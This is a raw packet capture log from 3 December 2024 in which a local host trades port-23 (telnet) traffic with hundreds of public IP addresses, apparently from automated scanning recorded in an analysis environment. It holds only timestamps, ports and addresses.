Dec 3, 2024 22:11:44.049988985 CET	8163	23	192.168.2.23	112.168.232.233
Dec 3, 2024 22:11:44.049994946 CET	23	8163	204.71.238.100	192.168.2.23
Dec 3, 2024 22:11:44.049997091 CET	8163	23	192.168.2.23	171.107.227.88
Dec 3, 2024 22:11:44.050004959 CET	23	8163	140.24.137.107	192.168.2.23
Dec 3, 2024 22:11:44.050013065 CET	23	8163	94.37.181.196	192.168.2.23
Dec 3, 2024 22:11:44.050015926 CET	8163	23	192.168.2.23	183.105.14.65
Dec 3, 2024 22:11:44.050017118 CET	8163	23	192.168.2.23	108.163.223.1
Dec 3, 2024 22:11:44.050021887 CET	23	8163	20.187.58.91	192.168.2.23
Dec 3, 2024 22:11:44.050029993 CET	8163	23	192.168.2.23	204.71.238.100
Dec 3, 2024 22:11:44.050029993 CET	23	8163	189.201.144.229	192.168.2.23
Dec 3, 2024 22:11:44.050035000 CET	8163	23	192.168.2.23	140.24.137.107
Dec 3, 2024 22:11:44.050043106 CET	8163	23	192.168.2.23	94.37.181.196
Dec 3, 2024 22:11:44.050051928 CET	23	8163	119.207.111.9	192.168.2.23
Dec 3, 2024 22:11:44.050057888 CET	8163	23	192.168.2.23	20.187.58.91
Dec 3, 2024 22:11:44.050064087 CET	23	8163	9.165.202.136	192.168.2.23
Dec 3, 2024 22:11:44.050071955 CET	23	8163	166.96.164.98	192.168.2.23
Dec 3, 2024 22:11:44.050076008 CET	23	8163	217.141.0.246	192.168.2.23
Dec 3, 2024 22:11:44.050085068 CET	8163	23	192.168.2.23	189.201.144.229
Dec 3, 2024 22:11:44.050085068 CET	8163	23	192.168.2.23	119.207.111.9
Dec 3, 2024 22:11:44.050128937 CET	8163	23	192.168.2.23	9.165.202.136
Dec 3, 2024 22:11:44.050131083 CET	8163	23	192.168.2.23	166.96.164.98
Dec 3, 2024 22:11:44.050146103 CET	8163	23	192.168.2.23	217.141.0.246
Dec 3, 2024 22:11:44.050630093 CET	23	8163	170.118.115.166	192.168.2.23
Dec 3, 2024 22:11:44.050640106 CET	23	8163	182.26.194.201	192.168.2.23
Dec 3, 2024 22:11:44.050648928 CET	23	8163	199.67.96.245	192.168.2.23
Dec 3, 2024 22:11:44.050677061 CET	8163	23	192.168.2.23	199.67.96.245
Dec 3, 2024 22:11:44.050678015 CET	8163	23	192.168.2.23	170.118.115.166
Dec 3, 2024 22:11:44.050678015 CET	8163	23	192.168.2.23	182.26.194.201
Dec 3, 2024 22:11:44.050765038 CET	23	8163	60.182.214.167	192.168.2.23
Dec 3, 2024 22:11:44.050772905 CET	23	8163	204.227.127.24	192.168.2.23
Dec 3, 2024 22:11:44.050781012 CET	23	8163	137.230.139.180	192.168.2.23
Dec 3, 2024 22:11:44.050791025 CET	23	8163	53.34.191.34	192.168.2.23
Dec 3, 2024 22:11:44.050798893 CET	8163	23	192.168.2.23	60.182.214.167
Dec 3, 2024 22:11:44.050807953 CET	8163	23	192.168.2.23	204.227.127.24
Dec 3, 2024 22:11:44.050815105 CET	8163	23	192.168.2.23	137.230.139.180
Dec 3, 2024 22:11:44.050826073 CET	8163	23	192.168.2.23	53.34.191.34
Dec 3, 2024 22:11:44.050900936 CET	23	8163	123.15.243.124	192.168.2.23
Dec 3, 2024 22:11:44.050910950 CET	23	8163	27.253.92.153	192.168.2.23
Dec 3, 2024 22:11:44.050919056 CET	23	8163	136.254.76.209	192.168.2.23
Dec 3, 2024 22:11:44.050926924 CET	23	8163	163.149.91.213	192.168.2.23
Dec 3, 2024 22:11:44.050944090 CET	8163	23	192.168.2.23	123.15.243.124
Dec 3, 2024 22:11:44.050947905 CET	8163	23	192.168.2.23	27.253.92.153
Dec 3, 2024 22:11:44.050947905 CET	8163	23	192.168.2.23	136.254.76.209
Dec 3, 2024 22:11:44.050957918 CET	8163	23	192.168.2.23	163.149.91.213
Dec 3, 2024 22:11:44.051045895 CET	23	8163	132.126.229.148	192.168.2.23
Dec 3, 2024 22:11:44.051055908 CET	23	8163	196.7.67.212	192.168.2.23
Dec 3, 2024 22:11:44.051063061 CET	23	8163	81.86.219.181	192.168.2.23
Dec 3, 2024 22:11:44.051070929 CET	23	8163	154.28.22.25	192.168.2.23
Dec 3, 2024 22:11:44.051090002 CET	8163	23	192.168.2.23	132.126.229.148
Dec 3, 2024 22:11:44.051090002 CET	8163	23	192.168.2.23	196.7.67.212
Dec 3, 2024 22:11:44.051090002 CET	8163	23	192.168.2.23	81.86.219.181
Dec 3, 2024 22:11:44.051105022 CET	8163	23	192.168.2.23	154.28.22.25
Dec 3, 2024 22:11:44.051178932 CET	23	8163	31.25.159.118	192.168.2.23
Dec 3, 2024 22:11:44.051187992 CET	23	8163	145.154.65.151	192.168.2.23
Dec 3, 2024 22:11:44.051198006 CET	23	8163	65.73.89.151	192.168.2.23
Dec 3, 2024 22:11:44.051207066 CET	23	8163	194.70.119.103	192.168.2.23
Dec 3, 2024 22:11:44.051213980 CET	23	8163	122.178.146.235	192.168.2.23
Dec 3, 2024 22:11:44.051223993 CET	8163	23	192.168.2.23	145.154.65.151
Dec 3, 2024 22:11:44.051227093 CET	8163	23	192.168.2.23	31.25.159.118
Dec 3, 2024 22:11:44.051234007 CET	8163	23	192.168.2.23	65.73.89.151
Dec 3, 2024 22:11:44.051248074 CET	8163	23	192.168.2.23	194.70.119.103
Dec 3, 2024 22:11:44.051248074 CET	8163	23	192.168.2.23	122.178.146.235
Dec 3, 2024 22:11:44.051331043 CET	23	8163	24.170.197.214	192.168.2.23
Dec 3, 2024 22:11:44.051342010 CET	23	8163	76.104.115.129	192.168.2.23
Dec 3, 2024 22:11:44.051348925 CET	23	8163	108.28.70.7	192.168.2.23
Dec 3, 2024 22:11:44.051352978 CET	23	8163	53.108.63.229	192.168.2.23
Dec 3, 2024 22:11:44.051369905 CET	8163	23	192.168.2.23	24.170.197.214
Dec 3, 2024 22:11:44.051383972 CET	8163	23	192.168.2.23	76.104.115.129
Dec 3, 2024 22:11:44.051384926 CET	8163	23	192.168.2.23	53.108.63.229
Dec 3, 2024 22:11:44.051388979 CET	8163	23	192.168.2.23	108.28.70.7
Dec 3, 2024 22:11:44.051470995 CET	23	8163	38.31.3.25	192.168.2.23
Dec 3, 2024 22:11:44.051480055 CET	23	8163	104.114.203.166	192.168.2.23
Dec 3, 2024 22:11:44.051489115 CET	23	8163	151.237.95.188	192.168.2.23
Dec 3, 2024 22:11:44.051500082 CET	23	8163	61.216.89.34	192.168.2.23
Dec 3, 2024 22:11:44.051511049 CET	8163	23	192.168.2.23	104.114.203.166
Dec 3, 2024 22:11:44.051512957 CET	8163	23	192.168.2.23	38.31.3.25
Dec 3, 2024 22:11:44.051522017 CET	8163	23	192.168.2.23	151.237.95.188
Dec 3, 2024 22:11:44.051542997 CET	8163	23	192.168.2.23	61.216.89.34
Dec 3, 2024 22:11:44.052289009 CET	23	8163	58.238.164.7	192.168.2.23
Dec 3, 2024 22:11:44.052298069 CET	23	8163	135.223.164.87	192.168.2.23
Dec 3, 2024 22:11:44.052306890 CET	23	8163	183.215.129.91	192.168.2.23
Dec 3, 2024 22:11:44.052330017 CET	8163	23	192.168.2.23	135.223.164.87
Dec 3, 2024 22:11:44.052333117 CET	8163	23	192.168.2.23	58.238.164.7
Dec 3, 2024 22:11:44.052361965 CET	8163	23	192.168.2.23	183.215.129.91
Dec 3, 2024 22:11:44.052453995 CET	23	8163	114.41.59.145	192.168.2.23
Dec 3, 2024 22:11:44.052464008 CET	23	8163	198.121.110.30	192.168.2.23
Dec 3, 2024 22:11:44.052483082 CET	23	8163	212.88.174.250	192.168.2.23
Dec 3, 2024 22:11:44.052490950 CET	23	8163	212.94.40.254	192.168.2.23
Dec 3, 2024 22:11:44.052495956 CET	8163	23	192.168.2.23	114.41.59.145
Dec 3, 2024 22:11:44.052496910 CET	8163	23	192.168.2.23	198.121.110.30
Dec 3, 2024 22:11:44.052534103 CET	8163	23	192.168.2.23	212.88.174.250
Dec 3, 2024 22:11:44.052536011 CET	8163	23	192.168.2.23	212.94.40.254
Dec 3, 2024 22:11:44.052736998 CET	23	8163	65.131.244.62	192.168.2.23
Dec 3, 2024 22:11:44.052746058 CET	23	8163	165.23.239.45	192.168.2.23
Dec 3, 2024 22:11:44.052755117 CET	23	8163	18.149.166.131	192.168.2.23
Dec 3, 2024 22:11:44.052763939 CET	23	8163	164.7.191.148	192.168.2.23
Dec 3, 2024 22:11:44.052774906 CET	8163	23	192.168.2.23	165.23.239.45
Dec 3, 2024 22:11:44.052774906 CET	23	8163	136.197.210.82	192.168.2.23
Dec 3, 2024 22:11:44.052786112 CET	23	8163	13.250.72.75	192.168.2.23
Dec 3, 2024 22:11:44.052788973 CET	8163	23	192.168.2.23	65.131.244.62
Dec 3, 2024 22:11:44.052789927 CET	8163	23	192.168.2.23	18.149.166.131
Dec 3, 2024 22:11:44.052789927 CET	8163	23	192.168.2.23	164.7.191.148
Dec 3, 2024 22:11:44.052794933 CET	23	8163	183.24.11.70	192.168.2.23
Dec 3, 2024 22:11:44.052804947 CET	23	8163	122.39.18.81	192.168.2.23
Dec 3, 2024 22:11:44.052812099 CET	23	8163	67.151.16.40	192.168.2.23
Dec 3, 2024 22:11:44.052820921 CET	23	8163	139.216.52.253	192.168.2.23
Dec 3, 2024 22:11:44.052829027 CET	23	8163	27.76.124.96	192.168.2.23
Dec 3, 2024 22:11:44.052830935 CET	8163	23	192.168.2.23	13.250.72.75
Dec 3, 2024 22:11:44.052830935 CET	8163	23	192.168.2.23	136.197.210.82
Dec 3, 2024 22:11:44.052833080 CET	8163	23	192.168.2.23	183.24.11.70
Dec 3, 2024 22:11:44.052833080 CET	23	8163	172.179.145.115	192.168.2.23
Dec 3, 2024 22:11:44.052846909 CET	8163	23	192.168.2.23	122.39.18.81
Dec 3, 2024 22:11:44.052850008 CET	23	8163	148.61.162.253	192.168.2.23
Dec 3, 2024 22:11:44.052861929 CET	23	8163	131.11.179.251	192.168.2.23
Dec 3, 2024 22:11:44.052862883 CET	8163	23	192.168.2.23	27.76.124.96
Dec 3, 2024 22:11:44.052870035 CET	8163	23	192.168.2.23	172.179.145.115
Dec 3, 2024 22:11:44.052871943 CET	23	8163	88.249.169.140	192.168.2.23
Dec 3, 2024 22:11:44.052872896 CET	8163	23	192.168.2.23	67.151.16.40
Dec 3, 2024 22:11:44.052872896 CET	8163	23	192.168.2.23	139.216.52.253
Dec 3, 2024 22:11:44.052881956 CET	23	8163	63.127.18.178	192.168.2.23
Dec 3, 2024 22:11:44.052890062 CET	23	8163	117.207.172.51	192.168.2.23
Dec 3, 2024 22:11:44.052891970 CET	8163	23	192.168.2.23	148.61.162.253
Dec 3, 2024 22:11:44.052891970 CET	8163	23	192.168.2.23	131.11.179.251
Dec 3, 2024 22:11:44.052900076 CET	23	8163	153.37.132.151	192.168.2.23
Dec 3, 2024 22:11:44.052901983 CET	8163	23	192.168.2.23	88.249.169.140
Dec 3, 2024 22:11:44.052907944 CET	8163	23	192.168.2.23	63.127.18.178
Dec 3, 2024 22:11:44.052908897 CET	23	8163	148.83.47.108	192.168.2.23
Dec 3, 2024 22:11:44.052918911 CET	23	8163	25.213.125.68	192.168.2.23
Dec 3, 2024 22:11:44.052923918 CET	8163	23	192.168.2.23	117.207.172.51
Dec 3, 2024 22:11:44.052928925 CET	8163	23	192.168.2.23	153.37.132.151
Dec 3, 2024 22:11:44.052934885 CET	8163	23	192.168.2.23	148.83.47.108
Dec 3, 2024 22:11:44.052951097 CET	8163	23	192.168.2.23	25.213.125.68
Dec 3, 2024 22:11:44.052993059 CET	23	8163	47.134.196.11	192.168.2.23
Dec 3, 2024 22:11:44.053029060 CET	8163	23	192.168.2.23	47.134.196.11
Dec 3, 2024 22:11:44.054142952 CET	23	8163	61.242.175.125	192.168.2.23
Dec 3, 2024 22:11:44.054152966 CET	23	8163	95.26.31.122	192.168.2.23
Dec 3, 2024 22:11:44.054178953 CET	8163	23	192.168.2.23	61.242.175.125
Dec 3, 2024 22:11:44.054182053 CET	8163	23	192.168.2.23	95.26.31.122
Dec 3, 2024 22:11:44.054274082 CET	23	8163	93.109.47.19	192.168.2.23
Dec 3, 2024 22:11:44.054282904 CET	23	8163	40.161.153.117	192.168.2.23
Dec 3, 2024 22:11:44.054291964 CET	23	8163	80.171.220.98	192.168.2.23
Dec 3, 2024 22:11:44.054301023 CET	23	8163	88.56.44.222	192.168.2.23
Dec 3, 2024 22:11:44.054307938 CET	8163	23	192.168.2.23	93.109.47.19
Dec 3, 2024 22:11:44.054322004 CET	8163	23	192.168.2.23	40.161.153.117
Dec 3, 2024 22:11:44.054325104 CET	8163	23	192.168.2.23	80.171.220.98
Dec 3, 2024 22:11:44.054333925 CET	8163	23	192.168.2.23	88.56.44.222
Dec 3, 2024 22:11:44.054414988 CET	23	8163	104.204.145.237	192.168.2.23
Dec 3, 2024 22:11:44.054424047 CET	23	8163	32.28.161.242	192.168.2.23
Dec 3, 2024 22:11:44.054431915 CET	23	8163	126.237.108.168	192.168.2.23
Dec 3, 2024 22:11:44.054440022 CET	23	8163	150.255.103.22	192.168.2.23
Dec 3, 2024 22:11:44.054441929 CET	8163	23	192.168.2.23	104.204.145.237
Dec 3, 2024 22:11:44.054449081 CET	23	8163	72.159.109.198	192.168.2.23
Dec 3, 2024 22:11:44.054455042 CET	8163	23	192.168.2.23	32.28.161.242
Dec 3, 2024 22:11:44.054466009 CET	8163	23	192.168.2.23	126.237.108.168
Dec 3, 2024 22:11:44.054471016 CET	8163	23	192.168.2.23	150.255.103.22
Dec 3, 2024 22:11:44.054471016 CET	8163	23	192.168.2.23	72.159.109.198
Dec 3, 2024 22:11:44.054539919 CET	23	8163	48.161.116.100	192.168.2.23
Dec 3, 2024 22:11:44.054549932 CET	23	8163	102.24.17.48	192.168.2.23
Dec 3, 2024 22:11:44.054558039 CET	23	8163	196.211.27.67	192.168.2.23
Dec 3, 2024 22:11:44.054567099 CET	23	8163	223.231.219.24	192.168.2.23
Dec 3, 2024 22:11:44.054574966 CET	23	8163	223.208.120.88	192.168.2.23
Dec 3, 2024 22:11:44.054580927 CET	8163	23	192.168.2.23	102.24.17.48
Dec 3, 2024 22:11:44.054583073 CET	23	8163	100.241.10.6	192.168.2.23
Dec 3, 2024 22:11:44.054591894 CET	8163	23	192.168.2.23	223.231.219.24
Dec 3, 2024 22:11:44.054590940 CET	8163	23	192.168.2.23	196.211.27.67
Dec 3, 2024 22:11:44.054606915 CET	8163	23	192.168.2.23	223.208.120.88
Dec 3, 2024 22:11:44.054608107 CET	8163	23	192.168.2.23	48.161.116.100
Dec 3, 2024 22:11:44.054611921 CET	8163	23	192.168.2.23	100.241.10.6
Dec 3, 2024 22:11:44.054686069 CET	23	8163	157.206.88.57	192.168.2.23
Dec 3, 2024 22:11:44.054724932 CET	8163	23	192.168.2.23	157.206.88.57
Dec 3, 2024 22:11:44.054843903 CET	23	8163	121.14.121.92	192.168.2.23
Dec 3, 2024 22:11:44.054853916 CET	23	8163	148.33.189.233	192.168.2.23
Dec 3, 2024 22:11:44.054886103 CET	8163	23	192.168.2.23	121.14.121.92
Dec 3, 2024 22:11:44.054889917 CET	8163	23	192.168.2.23	148.33.189.233
Dec 3, 2024 22:11:44.055002928 CET	23	8163	124.213.251.156	192.168.2.23
Dec 3, 2024 22:11:44.055012941 CET	23	8163	118.155.93.141	192.168.2.23
Dec 3, 2024 22:11:44.055042982 CET	8163	23	192.168.2.23	124.213.251.156
Dec 3, 2024 22:11:44.055087090 CET	8163	23	192.168.2.23	118.155.93.141
Dec 3, 2024 22:11:44.055130959 CET	23	8163	138.195.253.73	192.168.2.23
Dec 3, 2024 22:11:44.055139065 CET	23	8163	74.209.93.22	192.168.2.23
Dec 3, 2024 22:11:44.055146933 CET	23	8163	162.61.158.184	192.168.2.23
Dec 3, 2024 22:11:44.055156946 CET	23	8163	91.117.4.23	192.168.2.23
Dec 3, 2024 22:11:44.055166006 CET	8163	23	192.168.2.23	138.195.253.73
Dec 3, 2024 22:11:44.055167913 CET	23	8163	83.140.133.140	192.168.2.23
Dec 3, 2024 22:11:44.055176973 CET	8163	23	192.168.2.23	74.209.93.22
Dec 3, 2024 22:11:44.055186033 CET	8163	23	192.168.2.23	162.61.158.184
Dec 3, 2024 22:11:44.055186987 CET	8163	23	192.168.2.23	91.117.4.23
Dec 3, 2024 22:11:44.055201054 CET	8163	23	192.168.2.23	83.140.133.140
Dec 3, 2024 22:11:44.055294037 CET	23	8163	149.100.197.212	192.168.2.23
Dec 3, 2024 22:11:44.055336952 CET	8163	23	192.168.2.23	149.100.197.212
Dec 3, 2024 22:11:44.055583954 CET	23	8163	112.131.129.226	192.168.2.23
Dec 3, 2024 22:11:44.055593014 CET	23	8163	107.108.171.206	192.168.2.23
Dec 3, 2024 22:11:44.055602074 CET	23	8163	125.223.63.72	192.168.2.23
Dec 3, 2024 22:11:44.055610895 CET	23	8163	43.220.182.172	192.168.2.23
Dec 3, 2024 22:11:44.055619955 CET	23	8163	72.135.229.230	192.168.2.23
Dec 3, 2024 22:11:44.055623055 CET	8163	23	192.168.2.23	107.108.171.206
Dec 3, 2024 22:11:44.055628061 CET	8163	23	192.168.2.23	112.131.129.226
Dec 3, 2024 22:11:44.055629015 CET	23	8163	186.108.149.119	192.168.2.23
Dec 3, 2024 22:11:44.055649996 CET	23	8163	112.161.222.154	192.168.2.23
Dec 3, 2024 22:11:44.055654049 CET	8163	23	192.168.2.23	125.223.63.72
Dec 3, 2024 22:11:44.055656910 CET	8163	23	192.168.2.23	43.220.182.172
Dec 3, 2024 22:11:44.055656910 CET	8163	23	192.168.2.23	72.135.229.230
Dec 3, 2024 22:11:44.055660009 CET	23	8163	144.150.142.21	192.168.2.23
Dec 3, 2024 22:11:44.055669069 CET	23	8163	153.97.220.196	192.168.2.23
Dec 3, 2024 22:11:44.055674076 CET	8163	23	192.168.2.23	186.108.149.119
Dec 3, 2024 22:11:44.055676937 CET	23	8163	130.58.231.122	192.168.2.23
Dec 3, 2024 22:11:44.055685997 CET	23	8163	73.147.236.194	192.168.2.23
Dec 3, 2024 22:11:44.055692911 CET	8163	23	192.168.2.23	144.150.142.21
Dec 3, 2024 22:11:44.055696011 CET	23	8163	94.46.55.230	192.168.2.23
Dec 3, 2024 22:11:44.055701017 CET	8163	23	192.168.2.23	112.161.222.154
Dec 3, 2024 22:11:44.055702925 CET	8163	23	192.168.2.23	153.97.220.196
Dec 3, 2024 22:11:44.055706024 CET	23	8163	98.15.112.122	192.168.2.23
Dec 3, 2024 22:11:44.055715084 CET	8163	23	192.168.2.23	130.58.231.122
Dec 3, 2024 22:11:44.055720091 CET	8163	23	192.168.2.23	73.147.236.194
Dec 3, 2024 22:11:44.055721045 CET	23	8163	129.37.80.116	192.168.2.23
Dec 3, 2024 22:11:44.055730104 CET	23	8163	190.243.112.37	192.168.2.23
Dec 3, 2024 22:11:44.055733919 CET	23	8163	122.132.68.255	192.168.2.23
Dec 3, 2024 22:11:44.055733919 CET	8163	23	192.168.2.23	94.46.55.230
Dec 3, 2024 22:11:44.055742025 CET	23	8163	125.213.175.6	192.168.2.23
Dec 3, 2024 22:11:44.055746078 CET	23	8163	23.105.117.34	192.168.2.23
Dec 3, 2024 22:11:44.055753946 CET	8163	23	192.168.2.23	98.15.112.122
Dec 3, 2024 22:11:44.055754900 CET	8163	23	192.168.2.23	190.243.112.37
Dec 3, 2024 22:11:44.055763960 CET	23	8163	222.186.5.141	192.168.2.23
Dec 3, 2024 22:11:44.055768013 CET	8163	23	192.168.2.23	122.132.68.255
Dec 3, 2024 22:11:44.055773020 CET	23	8163	153.166.77.111	192.168.2.23
Dec 3, 2024 22:11:44.055779934 CET	8163	23	192.168.2.23	125.213.175.6
Dec 3, 2024 22:11:44.055782080 CET	8163	23	192.168.2.23	129.37.80.116
Dec 3, 2024 22:11:44.055782080 CET	8163	23	192.168.2.23	23.105.117.34
Dec 3, 2024 22:11:44.055783033 CET	23	8163	135.190.189.158	192.168.2.23
Dec 3, 2024 22:11:44.055799007 CET	8163	23	192.168.2.23	222.186.5.141
Dec 3, 2024 22:11:44.055804968 CET	23	8163	196.205.121.46	192.168.2.23
Dec 3, 2024 22:11:44.055811882 CET	8163	23	192.168.2.23	135.190.189.158
Dec 3, 2024 22:11:44.055819988 CET	23	8163	143.179.196.18	192.168.2.23
Dec 3, 2024 22:11:44.055824041 CET	8163	23	192.168.2.23	153.166.77.111
Dec 3, 2024 22:11:44.055839062 CET	8163	23	192.168.2.23	196.205.121.46
Dec 3, 2024 22:11:44.055850983 CET	8163	23	192.168.2.23	143.179.196.18
Dec 3, 2024 22:11:44.055852890 CET	23	8163	157.17.119.244	192.168.2.23
Dec 3, 2024 22:11:44.055888891 CET	8163	23	192.168.2.23	157.17.119.244
Dec 3, 2024 22:11:44.056022882 CET	23	8163	124.15.176.26	192.168.2.23
Dec 3, 2024 22:11:44.056034088 CET	23	8163	163.8.120.69	192.168.2.23
Dec 3, 2024 22:11:44.056044102 CET	23	8163	17.138.205.81	192.168.2.23
Dec 3, 2024 22:11:44.056065083 CET	8163	23	192.168.2.23	124.15.176.26
Dec 3, 2024 22:11:44.056065083 CET	8163	23	192.168.2.23	163.8.120.69
Dec 3, 2024 22:11:44.056080103 CET	8163	23	192.168.2.23	17.138.205.81
Dec 3, 2024 22:11:44.056323051 CET	23	8163	161.20.223.13	192.168.2.23
Dec 3, 2024 22:11:44.056364059 CET	8163	23	192.168.2.23	161.20.223.13
Dec 3, 2024 22:11:44.056837082 CET	23	8163	208.144.236.220	192.168.2.23
Dec 3, 2024 22:11:44.056847095 CET	23	8163	188.54.100.103	192.168.2.23
Dec 3, 2024 22:11:44.056855917 CET	23	8163	135.136.165.110	192.168.2.23
Dec 3, 2024 22:11:44.056873083 CET	8163	23	192.168.2.23	208.144.236.220
Dec 3, 2024 22:11:44.056874037 CET	23	8163	80.187.203.233	192.168.2.23
Dec 3, 2024 22:11:44.056879044 CET	23	8163	27.188.59.194	192.168.2.23
Dec 3, 2024 22:11:44.056879044 CET	8163	23	192.168.2.23	188.54.100.103
Dec 3, 2024 22:11:44.056884050 CET	23	8163	90.180.226.154	192.168.2.23
Dec 3, 2024 22:11:44.056909084 CET	8163	23	192.168.2.23	135.136.165.110
Dec 3, 2024 22:11:44.056916952 CET	8163	23	192.168.2.23	90.180.226.154
Dec 3, 2024 22:11:44.056919098 CET	8163	23	192.168.2.23	27.188.59.194
Dec 3, 2024 22:11:44.056920052 CET	8163	23	192.168.2.23	80.187.203.233
Dec 3, 2024 22:11:44.056926966 CET	23	8163	173.130.113.249	192.168.2.23
Dec 3, 2024 22:11:44.056938887 CET	23	8163	170.97.15.195	192.168.2.23
Dec 3, 2024 22:11:44.056962967 CET	23	8163	104.111.52.100	192.168.2.23
Dec 3, 2024 22:11:44.056966066 CET	8163	23	192.168.2.23	173.130.113.249
Dec 3, 2024 22:11:44.056969881 CET	8163	23	192.168.2.23	170.97.15.195
Dec 3, 2024 22:11:44.056972980 CET	23	8163	78.139.97.53	192.168.2.23
Dec 3, 2024 22:11:44.057003975 CET	8163	23	192.168.2.23	78.139.97.53
Dec 3, 2024 22:11:44.057013988 CET	8163	23	192.168.2.23	104.111.52.100
Dec 3, 2024 22:11:44.057094097 CET	23	8163	200.225.179.113	192.168.2.23
Dec 3, 2024 22:11:44.057104111 CET	23	8163	115.236.165.206	192.168.2.23
Dec 3, 2024 22:11:44.057112932 CET	23	8163	69.50.164.207	192.168.2.23
Dec 3, 2024 22:11:44.057116985 CET	23	8163	175.6.110.153	192.168.2.23
Dec 3, 2024 22:11:44.057126999 CET	23	8163	19.147.11.69	192.168.2.23
Dec 3, 2024 22:11:44.057128906 CET	8163	23	192.168.2.23	200.225.179.113
Dec 3, 2024 22:11:44.057137012 CET	8163	23	192.168.2.23	115.236.165.206
Dec 3, 2024 22:11:44.057138920 CET	23	8163	95.36.137.239	192.168.2.23
Dec 3, 2024 22:11:44.057148933 CET	23	8163	207.152.252.190	192.168.2.23
Dec 3, 2024 22:11:44.057151079 CET	8163	23	192.168.2.23	69.50.164.207
Dec 3, 2024 22:11:44.057151079 CET	8163	23	192.168.2.23	175.6.110.153
Dec 3, 2024 22:11:44.057157040 CET	23	8163	95.140.187.252	192.168.2.23
Dec 3, 2024 22:11:44.057164907 CET	23	8163	18.174.168.146	192.168.2.23
Dec 3, 2024 22:11:44.057173967 CET	23	8163	158.177.33.226	192.168.2.23
Dec 3, 2024 22:11:44.057177067 CET	23	8163	120.103.206.236	192.168.2.23
Dec 3, 2024 22:11:44.057182074 CET	8163	23	192.168.2.23	95.36.137.239
Dec 3, 2024 22:11:44.057180882 CET	8163	23	192.168.2.23	19.147.11.69
Dec 3, 2024 22:11:44.057187080 CET	8163	23	192.168.2.23	95.140.187.252
Dec 3, 2024 22:11:44.057188988 CET	8163	23	192.168.2.23	207.152.252.190
Dec 3, 2024 22:11:44.057199001 CET	8163	23	192.168.2.23	18.174.168.146
Dec 3, 2024 22:11:44.057207108 CET	8163	23	192.168.2.23	158.177.33.226
Dec 3, 2024 22:11:44.057208061 CET	8163	23	192.168.2.23	120.103.206.236
Dec 3, 2024 22:11:44.057244062 CET	23	8163	109.82.182.68	192.168.2.23
Dec 3, 2024 22:11:44.057252884 CET	23	8163	169.229.105.188	192.168.2.23
Dec 3, 2024 22:11:44.057260990 CET	23	8163	36.188.91.190	192.168.2.23
Dec 3, 2024 22:11:44.057270050 CET	23	8163	138.13.86.108	192.168.2.23
Dec 3, 2024 22:11:44.057272911 CET	23	8163	80.165.159.126	192.168.2.23
Dec 3, 2024 22:11:44.057281971 CET	8163	23	192.168.2.23	109.82.182.68
Dec 3, 2024 22:11:44.057281971 CET	23	8163	120.70.67.210	192.168.2.23
Dec 3, 2024 22:11:44.057284117 CET	8163	23	192.168.2.23	169.229.105.188
Dec 3, 2024 22:11:44.057291985 CET	23	8163	76.70.108.240	192.168.2.23
Dec 3, 2024 22:11:44.057297945 CET	8163	23	192.168.2.23	36.188.91.190
Dec 3, 2024 22:11:44.057298899 CET	8163	23	192.168.2.23	138.13.86.108
Dec 3, 2024 22:11:44.057317972 CET	8163	23	192.168.2.23	80.165.159.126
Dec 3, 2024 22:11:44.057318926 CET	8163	23	192.168.2.23	120.70.67.210
Dec 3, 2024 22:11:44.057326078 CET	8163	23	192.168.2.23	76.70.108.240
Dec 3, 2024 22:11:44.057842016 CET	23	8163	128.142.237.199	192.168.2.23
Dec 3, 2024 22:11:44.057881117 CET	8163	23	192.168.2.23	128.142.237.199
Dec 3, 2024 22:11:44.057910919 CET	23	8163	146.12.221.130	192.168.2.23
Dec 3, 2024 22:11:44.057921886 CET	23	8163	200.58.76.32	192.168.2.23
Dec 3, 2024 22:11:44.057933092 CET	23	8163	170.113.74.234	192.168.2.23
Dec 3, 2024 22:11:44.057944059 CET	23	8163	57.227.240.234	192.168.2.23
Dec 3, 2024 22:11:44.057954073 CET	8163	23	192.168.2.23	200.58.76.32
Dec 3, 2024 22:11:44.057961941 CET	8163	23	192.168.2.23	146.12.221.130
Dec 3, 2024 22:11:44.057961941 CET	8163	23	192.168.2.23	170.113.74.234
Dec 3, 2024 22:11:44.057961941 CET	8163	23	192.168.2.23	57.227.240.234
Dec 3, 2024 22:11:44.057991028 CET	23	8163	160.219.156.164	192.168.2.23
Dec 3, 2024 22:11:44.058001995 CET	23	8163	87.253.119.58	192.168.2.23
Dec 3, 2024 22:11:44.058031082 CET	8163	23	192.168.2.23	160.219.156.164
Dec 3, 2024 22:11:44.058039904 CET	8163	23	192.168.2.23	87.253.119.58
Dec 3, 2024 22:11:44.058043957 CET	23	8163	57.239.41.31	192.168.2.23
Dec 3, 2024 22:11:44.058082104 CET	23	8163	175.157.161.84	192.168.2.23
Dec 3, 2024 22:11:44.058092117 CET	23	8163	202.112.114.10	192.168.2.23
Dec 3, 2024 22:11:44.058114052 CET	8163	23	192.168.2.23	57.239.41.31
Dec 3, 2024 22:11:44.058114052 CET	8163	23	192.168.2.23	175.157.161.84
Dec 3, 2024 22:11:44.058130980 CET	8163	23	192.168.2.23	202.112.114.10
Dec 3, 2024 22:11:44.058134079 CET	23	8163	153.151.137.26	192.168.2.23
Dec 3, 2024 22:11:44.058144093 CET	23	8163	110.144.56.73	192.168.2.23
Dec 3, 2024 22:11:44.058151960 CET	23	8163	133.63.23.16	192.168.2.23
Dec 3, 2024 22:11:44.058170080 CET	8163	23	192.168.2.23	153.151.137.26
Dec 3, 2024 22:11:44.058182001 CET	23	8163	53.5.59.231	192.168.2.23
Dec 3, 2024 22:11:44.058187962 CET	8163	23	192.168.2.23	110.144.56.73
Dec 3, 2024 22:11:44.058188915 CET	8163	23	192.168.2.23	133.63.23.16
Dec 3, 2024 22:11:44.058192015 CET	23	8163	126.2.171.148	192.168.2.23
Dec 3, 2024 22:11:44.058203936 CET	23	8163	43.77.4.98	192.168.2.23
Dec 3, 2024 22:11:44.058222055 CET	8163	23	192.168.2.23	53.5.59.231
Dec 3, 2024 22:11:44.058228970 CET	8163	23	192.168.2.23	126.2.171.148
Dec 3, 2024 22:11:44.058231115 CET	8163	23	192.168.2.23	43.77.4.98
Dec 3, 2024 22:11:44.058242083 CET	23	8163	201.174.209.42	192.168.2.23
Dec 3, 2024 22:11:44.058280945 CET	8163	23	192.168.2.23	201.174.209.42
Dec 3, 2024 22:11:44.058327913 CET	23	8163	204.204.61.41	192.168.2.23
Dec 3, 2024 22:11:44.058367968 CET	8163	23	192.168.2.23	204.204.61.41
Dec 3, 2024 22:11:44.058388948 CET	23	8163	18.145.26.105	192.168.2.23
Dec 3, 2024 22:11:44.058398008 CET	23	8163	108.158.244.226	192.168.2.23
